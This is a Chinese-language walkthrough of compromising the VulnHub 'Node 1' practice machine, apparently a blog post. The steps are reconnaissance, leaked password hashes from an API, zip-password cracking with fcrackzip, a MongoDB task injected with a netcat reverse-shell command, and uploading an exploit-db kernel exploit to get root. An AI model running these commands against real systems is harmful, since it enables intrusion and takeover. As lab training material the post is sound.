安装过程
首先去官网下载node,下载mirror版本
https://www.vulnhub.com/entry/node-1,252/
然后直接创建个文件夹,VMvare导入node。
配置网络:
在vm中的编辑一栏打开虚拟网络编辑器

打开那个更改设置,添加一个网络
最后需要在node和kali配置一个网卡,记住都要配置一个。

kaliifconfig命令,网络配置成功

信息收集
arp-scan扫描,获取同一个网段的可打开的主机。
arp-scan 用来发现系统和指纹识别的命令行工具

发现192.168.79.128和192.168.79.254
ping一下,128的主机存活。

使用nmap对端口进行探测,探测出来22,3000端口打开

获取详细的banner信息,3000,端口有用

访问3000端口

该web界面使用node.js编写,通过审计js源码,在“assets/js/app/controllers/home.js”这个文件中可以获取到存储敏感信息的位置/api/users/latest/ ,访问该位置

使用hash-identifier判断加密方式,为SHA-256,如下图所示:

网上找工具解码:

使用任意一个口令登录,登陆后如下图所示,但是没有其他的东西了。

这里面说Only admin users have access to the control panel currently, but check back soon to test the standard user functionality!只有管理员用户才能访问这个界面,猜想应该还有另外的管理员帐号,直接访问/api/users/ 获取到了另外一个用户
解出该用户的密码(manchester)后,登录可以下载该网站的备份源码,如下图所示

代码审计
下载备份,看到文件内容是base64加密

对文件进行解码
使用base64 -d 解码输出一个文件内
base64 -d myplace.backup > myplace
将文件打开看了一下,是乱码,file看一下文件类型是zip压缩包
发现是个加密文件,需要先进行破解,可以使用kali自带工具fcrackzip进行破解zip加密文件,该工具支持暴力破解和字典猜解两种方式
fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt myplace.zip
| 参数 | 描述 |
|---|---|
| -D | 指定方式为字典猜解 |
| -p | 指定猜解字典的路径 |
| -u | 表示只显示破解出来的密码,其他错误的密码不显示出 |

输入密码,解压出源代码

发现很多目录,因为是nodejs,所有看下他的app.js

看到了mongodb的账号和密码,也许可以登录
账户:mark 密码:5AYRft73VtFpc84k
登录服务器
利用ssh,进行远程登录mongodb
ssh:Secure Shell(安全外壳协议,简称SSH)是一种加密的网络传输协议,可在不安全的网络中为网络服务提供安全的传输环境。 SSH通过在网络中建立安全隧道来实现SSH客户端与服务器之间的连接。 SSH最常见的用途是远程登录系统,人们通常利用SSH来传输命令行界面和远程执行命令
形式:
ssh 用户名@服务器ip地址 -p 端口号

登录成功。但当前用户(mark)没有root权限,需要进行提权操作

也可以登录mongo数据库

这儿可以执行命令
连接MongoDB,进去scheduler数据库
mongo -u mark -p 5AYRft73VtFpc84k scheduler

反弹shell
db.tasks.insert({cmd:"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.79.129 888 >/tmp/f"});

成功。
提权
一般提权都是内核提权,这儿我们先确定当前系统的内核版本和系统版本

| 命令 | 描述 |
|---|---|
| lsb-release | 查看发行的系统版本信息 |
| arch | 机器的体系架构 |
通过查看版本信息,使用searchsploit(漏洞查询工具) 查找,可以知道该内核版本存在漏洞可以直接提权,如下图所示

有exp,我们使用scp命令(远程文件拷贝)将payload上传至靶机
scp /usr/share/exploitdb/exploits/linux/local/44298.c mark@192.168.79.128:/tmp/

开始提权

成功提权为root
总结:
- 会利用namp和arp-scan对端口和ip地址进行扫描
- 得到web页面,就类似于CTF题,找突破口
- 然后ssh远程连接数据库服务器
- 利用服务器内核漏洞进行提权
参考:
https://xz.aliyun.com/t/2695
本文详细记录了一次渗透测试的过程,从下载并安装靶机环境开始,通过信息收集发现开放的端口和服务,利用JS源码审计获取敏感信息,解密数据,登录MongoDB数据库,再到利用内核漏洞进行提权。过程中涉及了nmap扫描、ARP-scan、代码审计、SSH连接、字典破解、MongoDB操作以及内核提权等多个环节,展示了完整的渗透测试流程。
458

被折叠的 条评论
为什么被折叠?



